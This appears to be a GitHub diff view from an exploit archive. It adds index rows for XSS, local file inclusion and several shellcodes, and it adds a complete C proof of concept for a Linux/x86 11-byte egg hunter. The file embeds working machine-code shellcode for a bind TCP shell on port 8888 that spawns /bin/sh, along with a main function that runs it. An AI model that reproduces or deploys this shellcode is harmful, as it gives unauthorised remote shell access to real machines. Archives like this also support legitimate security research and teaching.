44339,exploits/php/webapps/44339.txt,"MyBB Plugin Last User's Threads in Profile Plugin 1.2 - Persistent Cross-Site Scripting",2018-03-23,0xB9,webapps,php,
44340,exploits/php/webapps/44340.txt,"Wordpress Plugin Site Editor 1.1.1 - Local File Inclusion",2018-03-23,"Nicolas Buzy-Debat",webapps,php,80

Can't render this file because it is too large.

1
files_shellcodes.csv
View file

@ -872,3 +872,4 @@ id,file,description,date,author,type,platform
42992,shellcodes/windows_x86-64/42992.c,"Windows/x64 - API Hooking Shellcode (117 bytes)",2017-10-16,"Roziul Hasan Khan Shifat",shellcode,windows_x86-64
43463,shellcodes/linux_x86/43463.nasm,"Linux/x86 - chmod 777 /etc/sudoers Shellcode (36 bytes)",2018-01-04,"Hashim Jawad",shellcode,linux_x86
44321,shellcodes/linux_x86/44321.c,"Linux/x86 - execve(/bin/sh) Shellcode (18 bytes)",2018-03-20,"Anurag Srivastava",shellcode,linux_x86
44334,shellcodes/linux_x86/44334.c,"Linux/x86 - EggHunter Shellcode (11 Bytes)",2018-03-23,"Anurag Srivastava",shellcode,linux_x86

1 id file description date author type platform
872 42992 shellcodes/windows_x86-64/42992.c Windows/x64 - API Hooking Shellcode (117 bytes) 2017-10-16 Roziul Hasan Khan Shifat shellcode windows_x86-64
873 43463 shellcodes/linux_x86/43463.nasm Linux/x86 - chmod 777 /etc/sudoers Shellcode (36 bytes) 2018-01-04 Hashim Jawad shellcode linux_x86
874 44321 shellcodes/linux_x86/44321.c Linux/x86 - execve(/bin/sh) Shellcode (18 bytes) 2018-03-20 Anurag Srivastava shellcode linux_x86
875 44334 shellcodes/linux_x86/44334.c Linux/x86 - EggHunter Shellcode (11 Bytes) 2018-03-23 Anurag Srivastava shellcode linux_x86

47
shellcodes/linux_x86/44334.c Normal file
View file

@ -0,0 +1,47 @@
/*
# Title: Linux/x86 - EggHunter Shellcode (11 Bytes)
# Author: Anurag Srivastava
# Tested on: i686 GNU/Linux
# Shellcode Length: 11
#Description: Smallest Null-Free Egg Hunter Shellcode - 11 Bytes
Details:
1. Works with an executable EGG
2. Make sure you clear EDX, EAX registers in the shellcode before any other operations
#Reference : Nipun Jaswal (@nipunjaswal)
egg: file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
8048060: 40 inc eax
8048061: 81 38 90 47 90 4f cmp DWORD PTR [eax],0x4f904790
8048067: 75 f7 jne 8048060 <_start>
8048069: ff e0 jmp eax
===============POC by Anurag Srivastava=========================
*/
#include <stdio.h>
#include <string.h>
#define EXECEGG "\x90\x47\x90\x4f" //Executable EGG
unsigned char egg_hunter[] = \
"\x40\x81\x38\x90\x47\x90\x4f\x75\xf7\xff\xe0";
unsigned char egg[] = \
EXECEGG
// Bind TCP Shell 112 Bytes Port 8888
"\x31\xdb\x31\xc0\xb0\x66\xfe\xc3\x56\x6a\x01\x6a"
"\x02\x89\xe1\xcd\x80\x97\x56\x66\x68\x22\xb8\x66"
"\x6a\x02\x89\xe3\x6a\x10\x53\x57\x31\xdb\xf7\xe3"
"\xb0\x66\xb3\x02\x89\xe1\xcd\x80\x56\x57\x31\xdb"
"\xf7\xe3\xb0\x66\xb3\x04\x89\xe1\xcd\x80\x31\xdb"
"\xf7\xe3\x56\x56\x57\xb0\x66\xb3\x05\x89\xe1\xcd"
"\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79"
"\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80";
void main()
{
printf("Length of Egg Hunter Shellcode: %d\n", strlen(egg_hunter));
printf("Length of the Actual Shellcode: %d\n", strlen(egg));
int (*ret)() = (int(*)())egg_hunter;
ret();
}